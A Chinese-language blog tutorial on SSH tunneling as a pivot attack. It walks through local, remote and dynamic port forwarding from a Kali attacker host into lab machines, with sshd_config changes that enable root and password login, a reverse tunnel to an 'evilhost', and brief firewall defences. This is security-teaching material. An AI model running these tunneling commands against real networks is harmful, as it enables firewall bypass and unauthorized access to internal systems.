跳板攻击之:SSH 隧道

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 SSH 隧道原理

SSH 支持双向通信隧道,并会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。将其他 TCP 端口的通信通过 SSH 连接来转发,加密后的数据可以突破防火墙访问规则的限制。

# 建立SSH 隧道常用参数:

-C
要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 gzip(1) 的一样, 协议第一版中, 压缩级别 ``level 用 CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 Compression 选项. -g
允许远端主机连接本地转发的端口.即复用访问时作为网关,支持多主机访问本地侦听端口网关模式转发RDP、NC shell -n
把 stdin 重定向到 /dev/null (实际上防止从 stdin 读取数据). 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, ssh -n shadows.cs.hut.fi emacs 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. 在后台运行. (但是如果要求口令或密语, 这种方式就无法工作; 参见 -f 选项.) -N
不执行远程命令. 用于转发端口. (仅限协议第二版),即不执行登陆 shell -f
后台运行程序. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令. -p port
指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数. -q
安静模式. 消除所有的警告和诊断信息. -L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport -R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport -D port
指定一个本地机器动态的应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发. -T
禁止分配伪终端.

2 实验环境

2.1 本地端口转发

  • 效果类似于 rinetd,将一本地端口与远程服务器建立隧道 。
  • 端口转发基于建立起来的 SSH 隧道,隧道中断则端口转发中断。
  • 只能在建立隧道时创建转发,不能为已有隧道增加端口转发
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes
- Port 22
- PasswordAuthentication yes
service ssh restart # -p 默认使用的 ssh 端口为 22
ssh -CfN -L <liste ip>:<liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
# 没有配置<liste ip>默认监听的是 WEB Server 的本地 127.0.0.1 地址(了解)。
ssh -CfN -L <liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

2.1.1 本地端口转发利用方式

  1. 恶意用户主机开启本地端口转发

    ┌──(root㉿kali)-[~]
    └─# ssh -CfN -L 0.0.0.0:8888:10.0.0.7:8080 root@192.168.50.4

  2. 恶意用户远程请求内网服务器 CVE-2018-1000006 POC

    http://127.0.0.1:8888/

2.2 远程端口转发

  • 由于 ACL 等原因,SSH 与应用连接建立方向相反
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes
- Port 22
- PasswordAuthentication yes
service ssh restart # <SSH hostname> 为要将数据转发过去的主机, -p 默认使用的 ssh 端口为 22
ssh -CfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port>
ssh -qTfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port> ssh –p 2222 web@127.0.0.1

2.2.1 远程端口转发利用方式

  1. 恶意主机开启 SSH 服务

    ┌──(kali㉿kali)-[~]
    └─$ systemctl start ssh.service
  2. 远程登陆 WEB Server ,开启远程端口转发。

    firefart@metasploitable:~# ssh -CfN -R 2323:192.168.230.129:23 kali@192.168.0.2

  3. 恶意用户远程请求内网服务器 bulldog

    ┌──(kali㉿kali)-[~]
    └─$ ssh -p 2323 root@127.0.0.1

2.3 动态端口转发(Socks 代理)

  • 本地、远程端口转发都需要固定应用服务器IP、Port,存在应用端口繁多,逐个转发效率低;不支持不固定端口应用;当网站不支持 IP 直接访问时无法直接使用。
  • 使用非受信网络上网时保护流量不被嗅探
恶意用户与 WEB Server 建立动态端口转发:
ssh -CNfg -D <local listen port> user@<ssh server> -p <ssh server port> 恶意设置 socks 代理,即可访问内网服务器

2.3.1 动态端口转发利用方式

  1. 恶意主机开启动态端口转发

    ┌──(kali㉿kali)-[~]
    └─$ ssh -CNfg -D 1080 firefart@192.168.0.3 -p 22

  2. 应用程序设置 SOCKS 代理:

  3. 恶意用户远程请求内网服务器 bulldog

    http://192.168.230.129:8080/

3 防御 SSH 隧道攻击

  1. 配置 SSH 远程管理白名单。
  2. 在 ACL 中限制只有特定的 IP 地址才能连接 SSH。

跳板攻击之:SSH 隧道的更多相关文章

  1. ssh隧道(通过跳板机)连接mysql

    案例: A服务器   B服务器   C服务器mysql 现在mysql服务器C只能通过内网访问,B服务器就能通过内网连接访问到mysql A服务器无法直接连接C服务器mysql,所以要通过跳板机(跳板 ...

  2. SSH隧道应用, 突破网络限制

    文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...

  3. ssh隧道

    最近有需求使用ssh隧道,顺便研究了下,以下记录一下大概说明 ssh隧道顾名思义在可以通过ssh连接的server之间建立加密隧道,常用于突破网络限制 常用三种端口转发模式:本地端口转发,远程端口转发 ...

  4. SSH隧道:端口转发功能详解

    SSH系列文章: SSH基础:SSH和SSH服务 SSH转发代理:ssh-agent用法详解 SSH隧道:端口转发功能详解 1.1 ssh安全隧道(一):本地端口转发 如下图,假如host3和host ...

  5. SQLyog通过ssh隧道连接MySQL

    1.简介 因为现在很多公司服务的数据库为了安全起见,都不允许直接连接其服务,而只能通过跳板机进行登陆到数据库.而ssh有一项非常有用的功能,即端口转发的隧道功能,让一些不安全的服务,像TCP.POP3 ...

  6. 流量操控之SSH隧道与端口转发

    目  录 第1章            概述... 3 1.1.         实现命令... 3 1.2.         SSH隧道类型... 3 第2章            SSH隧道... ...

  7. ssh隧道使用

    在内网中几乎所有的linux服务器和网络设备都支持ssh协议.一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用.同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会 ...

  8. SSH: ssh隧道

    简介 Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境.SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接. ...

  9. 利用SSH隧道加密技术隐蔽C&C通信流量

    在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用.众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案. ...

  10. ssh隧道(端口转发)

    本地转发: ssh -Nf -L [bind_address:]port:host:hostport sshServer -Nf 后台运行 -L 本地转发 [bind_address] 绑定本地地址, ...

随机推荐

  1. ArcObjects SDK开发 004 如何学习好ArcObjects SDK开发

    1.基于Arcobjects SDK可以做什么 基于Arcobjects SDK开发,大部分情况下就是做桌面GIS应用程序.AO写的代码是不能直接在Web服务上运行的,但如果你前端是JS,需要后端处理 ...

  2. Zabbix与乐维监控对比分析(二)——Agent管理、自动发现、权限管理

    上期我们详细介绍了Zabbix与乐维监控的架构与性能对比分析,透过架构与性能对比分析,用户可以对乐维监控之所以能成为"Zabbix企业版"有一个初步的认知.本篇是Zabbix对比乐 ...

  3. C++编程笔记(GPU并行编程-2)

    C++与CUDA 内存管理 封装 利用标准库容器实现对GPU的内存管理 #include <iostream> #include <cuda_runtime.h> #inclu ...

  4. 漫谈计算机网络:应用层 ----- 从DNS域名解析到WWW万维网再到P2P应用

    2022-12-04 18:31:01 纪念一下博主的<漫谈计算机网络>连载博客 浏览量破500了! 今天更新完结篇! 面试答不上?计网很枯燥? 听说你学习 计网 每次记了都会忘? 不妨抽 ...

  5. web框架推导 wsgiref模块 jinja2模板语法 django框架简介 django基本操作

    目录 纯手撸web框架 web框架的本质 手写web框架 存在的问题 基于wsgiref模块 基本介绍 推导流程 代码封装优化 总结 动静态网页 jinja2模块 前端.后端.数据库三者联动 推导流程 ...

  6. Django框架:8、聚合查询、分组查询、F与Q查询、ORM查询优化、ORM事务操作、ORM常用字段类型、ORM常用字段参数

    Django 数据库 目录 Django 数据库 一.聚合查询 二.分组查询 三.F查询与Q查询 1.F查询 2.Q查询 3.Q查询进阶操作 四.ORM查询优化 1.only与defer 五.ORM事 ...

  7. RocketMQ Schema——让消息成为流动的结构化数据

    本文作者:许奕斌,阿里云智能高级研发工程师. Why we need schema RocketMQ 目前对于消息体没有任何数据格式的约束,可以是 JSON ,可以是对象 toString ,也可以只 ...

  8. React报错之React.Children.only expected to receive single React element child

    总览 当我们把多个子元素传递给一个只期望有一个React子元素的组件时,会产生"React.Children.only expected to receive single React el ...

  9. .net core-利用PdfSharpCore 操作PDF实例

    前序 使用PdfSharpCore请注意使用XGraphics基类,与System.Drawing 的Graphics类似,XGraphics 提供XColor(颜色).XPen(画笔).XBrush ...

  10. 一文教会你mock(Mockito和PowerMock双剑合璧)

    作者:京东物流 杨建民 1.什么是Mock Mock有模仿.伪造的含义.Mock测试就是在测试过程中,对于某些不容易构造或者不容易获取的对象,用一个虚拟的对象来创建以便测试的测试方法.mock工具使用 ...